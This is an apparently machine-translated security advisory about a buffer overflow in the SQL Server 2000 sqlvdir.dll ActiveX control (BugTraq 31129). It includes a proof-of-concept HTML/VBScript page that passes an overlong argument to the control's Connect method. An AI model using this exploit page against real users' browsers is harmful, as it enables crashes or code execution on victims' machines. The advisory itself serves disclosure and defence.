Buffer overflow vulnerability in Microsoft SQL Server sqlvdir. dll ActiveX Control

Source: Internet
Author: User
Affected Systems:

Microsoft SQL Server 2000 SP4
Microsoft SQL Server 2000 sp3a
Microsoft SQL Server 2000 sp3
Microsoft SQL Server 2000 sp2
Microsoft SQL Server 2000 sp1
Microsoft SQL Server 2000

Description:

BugTraq ID: 31129

Microsoft SQL Server is a popular SQL database system.

The sqlvdir. DLL ActiveX Control (default path: C: \ Program Files \ Microsoft SQL Server \ 80 \ tools \ binn \ sqlvdir. the isqlvdircontrol interface exposed by DLL, CLSID: FC13BAA2-9C1A-4069-A221-31A147636038 does not properly validate user input parameters, if the user is cheated to access a malicious web page and sends too long parameters to the method, this may trigger a buffer overflow and cause arbitrary code execution.

<* Source: beenu Arora (beenudel1986@gmail.com)

Link: http://marc.info /? L = BugTraq & M = 122115323714605 & W = 2
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

<HTML>
Test exploit page
<Object classid = 'clsid: FC13BAA2-9C1A-4069-A221-31A147636038 'Id = 'target'> </Object>
<Script language = 'vbscript'>
Targetfile = "C: \ Program Files \ Microsoft SQL Server \ 80 \ tools \ binn \ sqlvdir. dll"
Prototype = "sub connect ([byval szserver as variant], [byval szwebsite as variant])" membername = "Connect"
Progid = "sqlvdirlib. sqlvdircontrol"
Argcount = 2
Arg1 = "defaultv"
Arg2 = "http: // test/te? S \ test \ tes \ ttest \ test \ Te @ ST \ tes \ test \ tes. \ ttest \ test \ tes \ test \ te. s \ ttest \ test \ tes \ t \\\\\\\\:# $ % test \ te? S \ test \ tes \: $ % \ ttest \ test \ Te @ ST \ tes \ test \ tes. \ ttest \ test \ tes \ test \ te. s \ ttest \ test \ tes \ t \\\\\\\\\:% % test \ te? S \ test \ tes \: $ % \ ttest \ test \ Te @ ST \ tes \ test \ tes. \ ttest \ test \ tes \ test \ te. s \ ttest \ test \ tes \ t \\\\\\\\\:% % test \ te? S \ test \ tes \: $ % \ ttest \ test \ Te @ ST \ tes \ test \ tes. \ ttest \ test \ tes \ test \ te. s \ ttest \ test \ tes \ t \\\\\\\"
Target. Connect arg1, arg2

</SCRIPT>

Suggestion:

Vendor patch:

Microsoft
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.microsoft.com/technet/security/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.